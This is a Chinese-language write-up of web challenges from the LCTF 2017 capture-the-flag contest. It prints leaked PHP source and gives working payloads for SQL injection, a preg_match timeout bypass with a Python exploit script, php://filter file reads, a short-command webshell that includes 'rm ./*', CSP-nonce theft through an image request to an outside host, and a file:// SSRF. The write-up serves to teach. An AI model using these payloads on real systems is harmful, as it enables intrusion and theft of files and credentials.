LCTF web write up
周末打一波LCTF,又被虐的不轻,昨天上了一天的课,晚上整理了一下,迟到的write up。
Simple blog
padding oracle attack
.login.php.swp拿到源码
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>
和njctf的一道题目比较相似,直接拿脚本来跑。
sprintf格式化字符串造成注入
成功进入后台后admin.php.swp得到再次得到源码
<?php
error_reporting(0);
session_start();
include('config.php');
if(!$_SESSION['isadmin']){
die('You are not admin');
}
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>
sprintf造成的问题https://paper.seebug.org/386/
接下来就是常规的注入了,没什么过滤,payload:
http://111.231.111.54/admin.php?id=-1&title=%251%24' union select 1,f14g,3 from `key`%23
萌萌哒报名系统
注册
首先访问.idea
目录,得到备份文件xdcms2333.zip
看了一下,重点是register.php
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';
重点是下面两行代码,满足条件即可。
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
/*blabla*/
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
满屏的pdo,注入是没戏了,总结一下我知道的解法:
-
人品
某表哥跑脚本注册了100个用户,其中一个真的满足条件了。。。我怀疑表哥一生中中彩票的机会在这给用了。
-
条件竞争
比赛结束后交流发现很多师傅(包括我们)都用的这个方法。在做题过程中发现当注册的人数过多时,后台会清空数据库,来看
index.php
这段代码$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username'); $sth->execute([':username' => $_SESSION['username']]); if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; }
如果我们在清空数据库是仍然保持登录状态,上面这个判断就不会成立,自然就绕过检测了。当然我们也可以跑脚本注册大量用户来加速清空数据库的操作。
-
正解
说了这么多,终于来到正解了。问题出在
preg_match
函数。pre_match在匹配的时候会消耗较大的资源,并且默认使用贪婪匹配。所以通过输入一个超长的字符串去给pre_match匹配,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
直接写个脚本来跑吧
import requests reg_url = 'http://123.206.120.239/register.php' login_url = 'http://123.206.120.239/login.php' index_url = 'http://123.206.120.239/member.php' s = requests.session() def register(): global s data = { 'username': 'seaii1', 'password': '123456', 'code': 'xdsec###' + 'A'*100000 } s.post(reg_url, data=data) def login(): global s data = { 'username': 'seaii1', 'password': '123456', } s.post(login_url, data=data) if __name__ == '__main__': register() login() r = s.get(index_url + '?file=php://filter/read=convert.base64-encode/resource=config.php') print (r.text)
伪协议读文件
member.php
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
payload
http://123.206.120.239/member.php?file=php://filter/read=convert.base64-encode/resource=config.php
解码即可得到flag。
"他们"有什么秘密呢?
手快拿了个一血,美滋滋~
访问http://182.254.246.93/entrance.php
,查看源码获得提示。
简单测试了一下,union,select啥的都没过滤,可以报错。但是information
、table
、column
等可以爆表爆列关键字被过滤了,而且过滤的很严格。
但是可以通过报错来获得表名、列名
表名
pro_id=1 and Polygon(pro_id)
之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon,找到一个漏网之鱼。
pro_id=1 and LineString(pro_id)
得到表名 product_2017ctf
列名
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx)
得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e
被过滤了。
无列名注入
pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx
得到字段值为7195ca99696b5a896.php
,进入下一关。
7字符限制获取webshell
从网上找了一个参考http://www.vuln.cn/6016,大体思路就是php代码
<?=`*`;
会将当前目录下所有文件的文件名放在一起当做一条命令执行。
首先删除保存文件目录下的index.html,他会影响命令的执行。
filename=bash&content=123
filename=command&content=rm ./*
filename=z.php&content=<?=`*`;
之后只要修改command文件的内容执行命令就可以了。
ls /
获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php
cat /3*
得到flag:LCTF{n1ver_stop_nev2r_giveup}
wanna hack him? (未做出)
nonce
看题目,标准的xss页面,在preview.php看到设置了csp
目前针对csp-nonce的攻击大致有两种
但是似乎都不太适合这个题目,后来发现preview.php
的nonce并不是随机的,隔一段时间才会变,推测admin_view.php
也会是这样。然后就僵住了。。。
来看大佬wp,可以使用<img src='http://host/?nonce=
来获取nonce,src属性的单引号会和后面的var test = 'test
闭合,就可以拿到nonce了。思路不够灵活,姿势不够猥琐呀。
getflag
这里有一点小坑,拿到nonce之后手动提交payload的话bot可能访问不到,需要写脚本一次提交多条payload。
拓展-UXSS
后来看大佬wp说可以用uxss,第一次接触这个漏洞,惭愧。。。
首先是一篇科普通用跨站脚本攻击(UXSS)
接着是大佬的wp,写的很详细。
===================华丽的分割线===================
这两题都是ssrf,让我对ssrf有了更深的理解,详细的会更新到另一篇文章中。
(伪)签到题 (未做出)
fuzz发现://
后面必须是www.baidu.com
,前面必须是字母数字和.。也就是说我们可以指定协议,知识点来了:
curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
还有一个点是要截断url末尾自动拼接的/
,使用?
当做get请求的参数,或者#
变成锚点都可以。
payload:
file://www.baidu.com/etc/flag?
也可以先读/etc/passwd
,有一个lctf用户,/home/lctf/
下也有flag。。。
L PLAYGROUND (未做出)
这题官方wp写的很详细了,反正当时做的时候一脸懵逼。。。
https://github.com/LCTF/LCTF2017/blob/master/src/web/l-plarground/writeup.md
表哥~~真是六的一批啊~~~~